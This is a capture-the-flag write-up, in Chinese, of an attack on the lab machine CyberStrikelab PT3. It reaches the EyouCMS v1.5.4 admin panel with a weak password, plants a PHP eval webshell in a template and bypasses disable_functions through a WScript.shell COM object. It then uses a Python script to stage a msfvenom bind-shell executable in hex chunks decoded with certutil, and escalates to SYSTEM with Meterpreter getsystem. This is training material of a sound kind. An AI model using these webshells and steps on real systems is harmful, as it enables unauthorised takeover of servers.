CyberStrikelab PT3
一次曲折的文件落地
警告
woc,破案了,原来是因为防火墙,导致靶机到我本地的流量进不来,只能我的流量出去到靶机。
靶标介绍:执行不了命令咋办?
关键词:弱密码 RCE disable_functions bypass
提示:flag.txt 提示:cyberstrikelab属于弱口令
# 信息收集
运行openvpn,访问靶机web页面
网页title:"eyoucms",直接bing搜索相关漏洞,找到一个文章EyouCMSv1.5.1漏洞复现 (opens new window)
根据文章图片里的/data/conf/version.txt
可以拿到eyoucms的版本信息v1.5.4
针对性搜索EyouCMS v1.5.4漏洞
,找到一个文章Eyoucms V1.5.X漏洞分析 (opens new window)
# 漏洞利用
需要进入后台,根据提示的cyberstrikelab属于弱口令
,尝试弱口令登录后台login.php
成功弱口令登录cyberstrikelab/123456
在后台更多功能
> 模板管理
> pc
> index.htm
,这个html模板里的php代码可以直接执行
写入php代码:
<?=
highlight_file(__FILE__);
error_reporting(E_ALL);
eval($_POST[1]);
2
3
4
执行代码,查看phpinfo()
,提示phpinfo()被禁用
尝试读取所有禁用函数
1=echo ini_get('disable_functions');
可以看到禁用了命令执行函数
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,phpinfo
信息收集,这是一台windows server
搜索文章发现windows只有一种方式绕过禁用函数绕过disable_functions的限制 (opens new window)
<?=
highlight_file(__FILE__);
$command = $_POST['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
2
3
4
5
6
7
8
但是,蚁剑本身就是支持windows com组件绕过的,所以直接蚁剑连接,绕过禁用函数
可以执行命令
# 权限提升
尝试上传文件,失败
尝试各种手段后,都不能上传文件,决定把msf生成的exe先16进制编码,再echo命令一段一段追加到文件里,最后再解码成目标文件
写个1.php
<?php
highlight_file(__FILE__);
$command = $_POST['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
2
3
4
5
6
7
8
因为靶机环境比较特殊,本地运行了openvpn,可以访问到靶机,靶机不能访问到本地,也就是本地有到靶机的路由,靶机没有到本地的路由,只能正向shell,反弹shell不可行
生成32位正向shell.exe
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe -o bind_shell_x86.exe
write.py
import os
import binascii
import requests
import time
def file_to_hex_echo_commands(input_file, chunk_size=4000):
"""
将文件转换为十六进制并生成安全的echo命令
参数:
input_file: 要编码的原始文件路径
chunk_size: 每块Hex数据的大小(字符数),建议4000以下
返回:
list: 包含所有echo命令的列表
"""
with open(input_file, 'rb') as f:
file_data = f.read()
# 转换为十六进制并确保偶数长度
hex_data = binascii.hexlify(file_data).decode('utf-8')
if len(hex_data) % 2 != 0:
hex_data += '0' # 填充确保偶数长度
# 计算总块数
total_chunks = (len(hex_data) + chunk_size - 1) // chunk_size
commands = []
for i in range(total_chunks):
start = i * chunk_size
end = start + chunk_size
chunk = hex_data[start:end]
# 安全转义所有特殊字符
safe_chunk = chunk.replace('^', '^^').replace('&', '^&').replace('|', '^|')
safe_chunk = safe_chunk.replace('<', '^<').replace('>', '^>').replace('%', '%%')
if i == 0:
commands.append(f'echo {safe_chunk} > 1.hex')
else:
commands.append(f'echo {safe_chunk} >> 1.hex')
return commands
def send_commands_with_retry(url, commands, max_retries=3):
"""
带重试机制的发送命令函数
参数:
url: 服务器接口地址
commands: 命令列表
max_retries: 最大重试次数
"""
for i, cmd in enumerate(commands):
retry_count = 0
while retry_count < max_retries:
try:
response = requests.post(
url,
data={'cmd': cmd, 'chunk': i},
timeout=10,
headers={'User-Agent': 'Mozilla/5.0'}
)
if response.status_code == 200:
print(f"成功发送分块 {i+1}/{len(commands)}")
time.sleep(0.3) # 适当间隔
break
else:
raise Exception(f"服务器返回 {response.status_code}")
except Exception as e:
retry_count += 1
print(f"分块 {i+1} 发送失败 (尝试 {retry_count}/{max_retries}): {str(e)}")
time.sleep(1)
if retry_count == max_retries:
print("达到最大重试次数,终止传输")
return False
return True
if __name__ == "__main__":
# 配置参数
input_file = "bind_shell_x86.exe"
server_url = "http://192.168.1.14/1.php"
print(f"请求方式:POST")
print(f"请求URL:{server_url}")
print(f"请求参数:cmd")
# 生成echo命令列表
commands = file_to_hex_echo_commands(input_file)
print(f"共生成 {len(commands)} 条echo命令")
print(f"原始文件大小: {os.path.getsize(input_file)/1024:.2f} KB")
# 发送到服务器
if send_commands_with_retry(server_url, commands):
# 解码提示
print("\n服务器端完整接收后执行:")
print("certutil -decodehex 1.hex bind_shell_x86.exe")
print("fc /b bind_shell_x86.exe original.exe # 校验文件完整性")
print("del 1.hex")
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
上传后,解码16进制,生成exe文件
certutil -decodehex 1.hex bind_shell_x86.exe
看起来应该没什么问题
进入msfconsole,监听4444端口
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.1.14
set LPORT 4444
exploit
2
3
4
5
6
蚁剑里命令运行bind_shell_x86.exe
运行后,msf成功收到meterpreter连接
getuid
一个低权限用户Server username: NT AUTHORITY\LOCAL SERVICE
进入主机shell
shell
设置utf-8编码
chcp 65001
查看当前用户权限
C:\ps\WWW>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSystemtimePrivilege Change the system time Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
存在高危权限SeImpersonatePrivilege
msf可以使用getsystem
命令利用这个漏洞点直接获取SYSTEM权限
使用exit
命令结束终端,回到meterpreter,并执行getsystem
命令
exit
getsystem
getuid
2
3
因为进去就执行了一次getsystem
,所以提示我已经是system了
现在可以查看C:/ps
目录下的flag.txt了